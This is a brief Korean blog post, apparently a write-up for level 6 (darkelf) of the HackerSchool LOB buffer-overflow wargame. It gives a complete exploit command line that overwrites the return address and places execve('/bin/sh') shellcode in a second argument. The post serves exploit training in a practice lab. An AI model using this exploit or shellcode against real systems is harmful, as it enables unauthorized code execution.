6번문제 소스를 보자
우선 5번문제와 다른 점은
argument1의 48번째 바이트가 \xbf여야 하고,
길이가 48보다 커지면 종료된다.
결국, 내가 하던 5번문제와도 똑같다.
argument2 를 사용하여 풀면 된다.
./darkelf `python -c 'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Level8 (0) | 2014.07.29 |
---|---|
HackerSchool LOB Level7 (0) | 2014.07.29 |
HackerSchool LOB Level5 (0) | 2014.07.29 |
HackerSchool LOB Level4 (0) | 2014.07.26 |
HackerSchool LOB Level3 (0) | 2014.07.24 |